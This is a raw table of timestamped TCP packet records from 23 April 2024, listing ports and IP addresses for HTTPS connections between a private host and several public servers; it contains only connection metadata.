Apr 23, 2024 21:53:42.785892010 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.785900116 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.786093950 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.786195993 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.786199093 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.786555052 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.786607027 CEST	49748	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:42.786618948 CEST	443	49748	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:42.987462044 CEST	443	49751	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:43.052994013 CEST	49751	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:43.124504089 CEST	49751	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:43.124548912 CEST	443	49751	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:43.126019955 CEST	443	49751	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:43.174674034 CEST	49751	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:43.185298920 CEST	49751	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:43.185525894 CEST	443	49751	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:43.185602903 CEST	49751	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:43.232121944 CEST	443	49751	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:43.237595081 CEST	49751	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:43.419895887 CEST	443	49751	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:43.420074940 CEST	443	49751	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:43.420252085 CEST	49751	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:43.501962900 CEST	49751	443	192.168.2.5	35.190.80.1
Apr 23, 2024 21:53:43.502007961 CEST	443	49751	35.190.80.1	192.168.2.5
Apr 23, 2024 21:53:44.298958063 CEST	49752	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.299021959 CEST	443	49752	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.299094915 CEST	49752	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.299391031 CEST	49752	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.299411058 CEST	443	49752	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.521065950 CEST	443	49752	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.521467924 CEST	49752	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.521505117 CEST	443	49752	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.522660971 CEST	443	49752	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.523139954 CEST	49752	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.523315907 CEST	443	49752	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.523432970 CEST	49752	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.564153910 CEST	443	49752	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.653589010 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.653661966 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.653749943 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.654092073 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.654109955 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.815232038 CEST	443	49752	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.815406084 CEST	443	49752	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.815493107 CEST	49752	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.816163063 CEST	49752	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.816184998 CEST	443	49752	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.868030071 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.868415117 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.868468046 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.868802071 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.869612932 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.869693041 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.869820118 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:44.916121960 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:44.917346001 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.128154993 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.128247023 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.128308058 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.130249023 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.130276918 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.139719009 CEST	49754	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.139810085 CEST	443	49754	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.140027046 CEST	49754	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.140307903 CEST	49754	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.140340090 CEST	443	49754	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.279731035 CEST	49755	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.279843092 CEST	443	49755	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.279937029 CEST	49755	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.280282974 CEST	49755	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.280312061 CEST	443	49755	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.359375954 CEST	443	49754	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.359778881 CEST	49754	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.359841108 CEST	443	49754	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.360481977 CEST	443	49754	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.361071110 CEST	49754	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.361186028 CEST	443	49754	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.361301899 CEST	49754	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.408119917 CEST	443	49754	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.501864910 CEST	443	49755	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.502257109 CEST	49755	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.502320051 CEST	443	49755	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.504074097 CEST	443	49755	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.504697084 CEST	49755	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.504925013 CEST	443	49755	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.504981995 CEST	49755	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.548125982 CEST	443	49755	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.557307959 CEST	49755	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.623554945 CEST	443	49754	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.623735905 CEST	443	49754	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.623855114 CEST	49754	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.625576973 CEST	49754	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.625608921 CEST	443	49754	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.760879040 CEST	443	49755	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.761246920 CEST	443	49755	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.761398077 CEST	49755	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.881875992 CEST	49755	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.881918907 CEST	443	49755	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.883374929 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.883419991 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:45.883569002 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.883888960 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:45.883903027 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.103631020 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.135288000 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.135310888 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.136853933 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.137311935 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.137603998 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.137790918 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.137888908 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.138000965 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.138077974 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.138096094 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.399831057 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.399997950 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.400105953 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.400127888 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.400156975 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.400204897 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.400263071 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.400414944 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.400501013 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.400549889 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.400567055 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.400654078 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.400700092 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.400705099 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.400743961 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.400755882 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.400952101 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.400998116 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.401004076 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.401283979 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.401334047 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.401339054 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.401429892 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.401500940 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.401549101 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.401555061 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.401989937 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.402045012 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.402049065 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.402160883 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:46.402214050 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.513978004 CEST	49757	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:46.514013052 CEST	443	49757	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:47.334577084 CEST	49758	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:47.334645033 CEST	443	49758	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:47.334717035 CEST	49758	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:47.341928005 CEST	49758	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:47.341972113 CEST	443	49758	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:47.561593056 CEST	443	49758	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:47.562201023 CEST	49758	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:47.562221050 CEST	443	49758	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:47.563401937 CEST	443	49758	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:47.564122915 CEST	49758	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:47.564313889 CEST	443	49758	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:47.564413071 CEST	49758	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:47.612153053 CEST	443	49758	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:47.820830107 CEST	443	49758	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:47.821026087 CEST	443	49758	104.17.3.184	192.168.2.5
Apr 23, 2024 21:53:47.821324110 CEST	49758	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:47.821814060 CEST	49758	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:53:47.821839094 CEST	443	49758	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:03.801994085 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:03.802040100 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:03.802191019 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:03.802515984 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:03.802526951 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.020256996 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.020566940 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.020627975 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.021101952 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.021555901 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.021645069 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.021768093 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.021884918 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.021928072 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.022043943 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.022082090 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.273094893 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.273289919 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.273355007 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.273372889 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.273400068 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.273457050 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.273508072 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.273647070 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.273701906 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.274593115 CEST	49759	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.274612904 CEST	443	49759	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.283283949 CEST	49760	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:04.283344030 CEST	443	49760	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:04.283422947 CEST	49760	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:04.283849001 CEST	49760	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:04.283866882 CEST	443	49760	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:04.288280010 CEST	49761	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.288317919 CEST	443	49761	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.288475990 CEST	49761	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.288706064 CEST	49761	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.288718939 CEST	443	49761	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.502899885 CEST	443	49761	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.503293991 CEST	49761	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.503354073 CEST	443	49761	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.503684998 CEST	443	49761	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.504024982 CEST	49761	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.504091978 CEST	443	49761	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.504185915 CEST	49761	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.509800911 CEST	49710	443	192.168.2.5	167.89.123.16
Apr 23, 2024 21:54:04.509855032 CEST	443	49710	167.89.123.16	192.168.2.5
Apr 23, 2024 21:54:04.510402918 CEST	443	49760	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:04.510658026 CEST	49760	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:04.510710955 CEST	443	49760	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:04.511823893 CEST	443	49760	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:04.512162924 CEST	49760	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:04.512290001 CEST	49760	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:04.512290001 CEST	49760	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:04.512306929 CEST	443	49760	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:04.512352943 CEST	443	49760	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:04.548125029 CEST	443	49761	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.556992054 CEST	49761	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.557159901 CEST	49760	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:04.764142036 CEST	443	49761	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.764205933 CEST	443	49761	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:04.764523983 CEST	49761	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.765038967 CEST	49761	443	192.168.2.5	104.17.3.184
Apr 23, 2024 21:54:04.765058041 CEST	443	49761	104.17.3.184	192.168.2.5
Apr 23, 2024 21:54:05.023376942 CEST	443	49760	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.023781061 CEST	443	49760	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.023890018 CEST	49760	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.024894953 CEST	49760	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.024913073 CEST	443	49760	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.040342093 CEST	49762	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.040427923 CEST	443	49762	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.040471077 CEST	49763	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.040501118 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.040546894 CEST	49762	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.040565014 CEST	49763	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.041196108 CEST	49763	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.041209936 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.041635990 CEST	49764	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:54:05.041666031 CEST	443	49764	151.101.194.137	192.168.2.5
Apr 23, 2024 21:54:05.041793108 CEST	49764	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:54:05.042521954 CEST	49762	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.042560101 CEST	443	49762	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.042958975 CEST	49765	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:54:05.042973995 CEST	443	49765	104.17.2.184	192.168.2.5
Apr 23, 2024 21:54:05.043081999 CEST	49765	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:54:05.043740034 CEST	49765	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:54:05.043757915 CEST	443	49765	104.17.2.184	192.168.2.5
Apr 23, 2024 21:54:05.043972015 CEST	49764	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:54:05.043987989 CEST	443	49764	151.101.194.137	192.168.2.5
Apr 23, 2024 21:54:05.193444967 CEST	49766	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.193478107 CEST	443	49766	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.193552971 CEST	49766	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.193751097 CEST	49766	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.193769932 CEST	443	49766	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.262393951 CEST	443	49764	151.101.194.137	192.168.2.5
Apr 23, 2024 21:54:05.262624025 CEST	49764	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:54:05.262635946 CEST	443	49764	151.101.194.137	192.168.2.5
Apr 23, 2024 21:54:05.263153076 CEST	443	49764	151.101.194.137	192.168.2.5
Apr 23, 2024 21:54:05.263487101 CEST	49764	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:54:05.263637066 CEST	443	49764	151.101.194.137	192.168.2.5
Apr 23, 2024 21:54:05.263823032 CEST	443	49765	104.17.2.184	192.168.2.5
Apr 23, 2024 21:54:05.264038086 CEST	49765	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:54:05.264065027 CEST	443	49765	104.17.2.184	192.168.2.5
Apr 23, 2024 21:54:05.265301943 CEST	443	49765	104.17.2.184	192.168.2.5
Apr 23, 2024 21:54:05.265661955 CEST	49765	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:54:05.265882969 CEST	443	49765	104.17.2.184	192.168.2.5
Apr 23, 2024 21:54:05.266328096 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.266555071 CEST	49763	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.266565084 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.267008066 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.267277002 CEST	49763	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.267345905 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.267395973 CEST	49763	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.267410994 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.269659996 CEST	443	49762	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.269891024 CEST	49762	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.269922018 CEST	443	49762	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.271090031 CEST	443	49762	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.271410942 CEST	49762	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.271586895 CEST	443	49762	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.307207108 CEST	49765	443	192.168.2.5	104.17.2.184
Apr 23, 2024 21:54:05.307207108 CEST	49763	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.307272911 CEST	49764	443	192.168.2.5	151.101.194.137
Apr 23, 2024 21:54:05.318537951 CEST	49762	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.416728973 CEST	443	49766	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.417011976 CEST	49766	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.417033911 CEST	443	49766	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.418472052 CEST	443	49766	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.418603897 CEST	49766	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.419040918 CEST	49766	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.419121981 CEST	443	49766	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.419219017 CEST	49766	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.464117050 CEST	443	49766	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.467937946 CEST	49766	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.467948914 CEST	443	49766	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.515194893 CEST	49766	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.777663946 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.777892113 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.777950048 CEST	49763	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.777987957 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.778258085 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.778326035 CEST	49763	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.779460907 CEST	49763	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.779480934 CEST	443	49763	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.800813913 CEST	49762	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.802308083 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.802344084 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.802429914 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.802689075 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.802705050 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.848153114 CEST	443	49762	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.952997923 CEST	443	49766	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.953085899 CEST	443	49766	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:05.953155041 CEST	49766	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.955404997 CEST	49766	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:05.955425978 CEST	443	49766	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.028228045 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.028780937 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.028810024 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.030170918 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.030601978 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.030781984 CEST	443	49767	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.076229095 CEST	49767	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.210289955 CEST	443	49762	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.210479975 CEST	443	49762	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.210655928 CEST	443	49762	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:06.210680962 CEST	49762	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.210753918 CEST	49762	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:06.211210966 CEST	49762	443	192.168.2.5	172.67.143.205
